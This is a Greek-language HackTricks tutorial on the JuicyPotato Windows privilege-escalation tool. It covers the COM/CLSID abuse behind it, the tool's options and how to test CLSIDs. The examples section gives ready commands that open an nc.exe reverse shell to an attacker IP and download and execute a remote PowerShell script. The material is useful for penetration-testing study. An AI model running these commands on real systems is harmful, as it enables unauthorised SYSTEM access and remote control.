hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato.md

16 KiB
Raw Blame History

JuicyPotato

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

WhiteIntel

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες κακόβουλου λογισμικού.

Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.

Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:

{% embed url="https://whiteintel.io" %}


{% hint style="warning" %} Το JuicyPotato δεν λειτουργεί στα Windows Server 2019 και στα Windows 10 έκδοση 1809 και μετά. Ωστόσο, τα PrintSpoofer, RoguePotato, SharpEfsPotato μπορούν να χρησιμοποιηθούν για να εκμεταλλευτούν τα ίδια προνόμια και να κερδίσουν πρόσβαση σε επίπεδο NT AUTHORITY\SYSTEM. Ελέγξτε: {% endhint %}

{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

Juicy Potato (κατάχρηση των χρυσών προνομίων)

Μια γλυκιά εκδοχή του RottenPotatoNG, με λίγο χυμό, δηλαδή ένα εργαλείο Ανόδου Προνομίων Τοπικού Συστήματος, από Λογαριασμούς Υπηρεσίας Windows σε NT AUTHORITY\SYSTEM

Μπορείτε να κατεβάσετε το juicypotato από https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Σύνοψη

Από το Readme του juicy-potato:

Το RottenPotatoNG και οι παραλλαγές του εκμεταλλεύονται την αλυσίδα ανόδου προνομίων βασισμένη στην υπηρεσία BITS service με τον ακροατή MiTM στο 127.0.0.1:6666 και όταν έχετε προνόμια SeImpersonate ή SeAssignPrimaryToken. Κατά την αναθεώρηση ενός Windows build, βρήκαμε μια ρύθμιση όπου το BITS ήταν εσκεμμένα απενεργοποιημένο και η θύρα 6666 ήταν κατειλημμένη.

Αποφασίσαμε να όπλισουμε το RottenPotatoNG: Πείτε γεια στο Juicy Potato.

Για τη θεωρία, δείτε το Rotten Potato - Ανόδος Προνομίων από Λογαριασμούς Υπηρεσίας σε SYSTEM και ακολουθήστε τη σειρά των συνδέσμων και αναφορών.

Ανακαλύψαμε ότι, εκτός από το BITS, υπάρχουν αρκετοί COM servers που μπορούμε να καταχρηστικοποιήσουμε. Απλώς πρέπει:

  1. να είναι δυνατή η δημιουργία από τον τρέχοντα χρήστη, συνήθως ένας "χρήστης υπηρεσίας" που έχει προνόμια υποκατάστασης
  2. να υλοποιούν τη διεπαφή IMarshal
  3. να τρέχουν ως χρήστης με υψηλά προνόμια (SYSTEM, Διαχειριστής, ...)

Μετά από μερικές δοκιμές, αποκτήσαμε και δοκιμάσαμε μια εκτεταμένη λίστα ενδιαφέροντων CLSID's σε διάφορες εκδόσεις των Windows.

Λεπτομέρειες Juicy

Το JuicyPotato σάς επιτρέπει να:

  • Στόχος CLSID επιλέξτε οποιοδήποτε CLSID θέλετε. Εδώ μπορείτε να βρείτε τη λίστα οργανωμένη ανά λειτουργικό σύστημα.
  • Πόρτα COM ακρόασης ορίστε την πόρτα COM ακρόασης που προτιμάτε (αντί για το marshalled hardcoded 6666)
  • Διεύθυνση IP ακρόασης COM δέστε τον εξυπηρετητή σε οποιαδήποτε IP
  • Λειτουργία δημιουργίας διεργασίας ανάλογα με τα προνόμια υποκατάστασης του χρήστη, μπορείτε να επιλέξετε από:
  • CreateProcessWithToken (χρειάζεται SeImpersonate)
  • CreateProcessAsUser (χρειάζεται SeAssignPrimaryToken)
  • και τα δύο
  • Διεργασία για εκκίνηση εκκινήστε ένα εκτελέσιμο ή σενάριο αν η εκμετάλλευση επιτύχει
  • Παράμετρος διεργασίας προσαρμόστε τις παραμέτρους της εκκινούμενης διεργασίας
  • Διεύθυνση RPC Server για μια αθόρυβη προσέγγιση μπορείτε να πιστοποιηθείτε σε έναν εξωτερικό διακομιστή RPC
  • Πόρτα RPC Server χρήσιμο αν θέλετε να πιστοποιηθείτε σε έναν εξωτερικό διακομιστή και το τείχος πυρασφάλειας αποκλείει τη θύρα 135...
  • Λειτουργία ΔΟΚΙΜΗΣ κυρίως για δοκιμαστικούς σκοπούς, δηλαδή δοκιμή CLSIDs. Δημιουργεί το DCOM και εκτυπώνει τον χρήστη του τοκέν. Δείτε εδώ για δοκιμή

Χρήση

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Τελικές σκέψεις

Από το Readme του juicy-potato:

Αν ο χρήστης έχει προνόμια SeImpersonate ή SeAssignPrimaryToken τότε είστε SYSTEM.

Είναι σχεδόν αδύνατο να αποτρέψετε την κατάχρηση όλων αυτών των COM Servers. Μπορείτε να σκεφτείτε να τροποποιήσετε τα δικαιώματα αυτών των αντικειμένων μέσω του DCOMCNFG αλλά καλή τύχη, αυτό θα είναι πρόκληση.

Η πραγματική λύση είναι να προστατεύσετε ευαίσθητους λογαριασμούς και εφαρμογές που εκτελούνται υπό τους λογαριασμούς * SERVICE. Η διακοπή του DCOM θα εμπόδιζε σίγουρα αυτήν την εκμετάλλευση αλλά θα μπορούσε να έχει σοβαρές επιπτώσεις στο υποκείμενο λειτουργικό σύστημα.

Από: http://ohpe.it/juicy-potato/

Παραδείγματα

Σημείωση: Επισκεφθείτε αυτήν τη σελίδα για μια λίστα με CLSIDs προς δοκιμή.

Λήψη αντίστροφου κελύφους nc.exe

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell αναστροφή

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Εκκίνηση νέου CMD (εάν έχετε πρόσβαση RDP)

Προβλήματα CLSID

Συχνά, το προεπιλεγμένο CLSID που χρησιμοποιεί το JuicyPotato δεν λειτουργεί και η εκμετάλλευση αποτυγχάνει. Συνήθως, απαιτούνται πολλαπλές προσπάθειες για να βρείτε ένα εργάσιμο CLSID. Για να λάβετε μια λίστα με τα CLSID που πρέπει να δοκιμάσετε για ένα συγκεκριμένο λειτουργικό σύστημα, πρέπει να επισκεφθείτε αυτήν τη σελίδα:

{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}

Έλεγχος CLSIDs

Αρχικά, θα χρειαστείτε μερικά εκτελέσιμα εκτός από το juicypotato.exe.

Κατεβάστε το Join-Object.ps1 και φορτώστε το στη συνεδρία PS σας, κατεβάστε και εκτελέστε το GetCLSID.ps1. Αυτό το σενάριο θα δημιουργήσει μια λίστα πιθανών CLSIDs για δοκιμή.

Στη συνέχεια, κατεβάστε το test_clsid.bat (αλλάξτε τη διαδρομή προς τη λίστα CLSID και προς το εκτελέσιμο juicypotato) και εκτελέστε το. Θα αρχίσει να δοκιμάζει κάθε CLSID, και όταν ο αριθμός θύρας αλλάξει, θα σημαίνει ότι το CLSID λειτούργησε.

Ελέγξτε τα εργάσιμα CLSIDs χρησιμοποιώντας την παράμετρο -c

Αναφορές

WhiteIntel

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε εάν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες κακόβουλου λογισμικού.

Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αποκλεισμών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.

Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:

{% embed url="https://whiteintel.io" %}

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!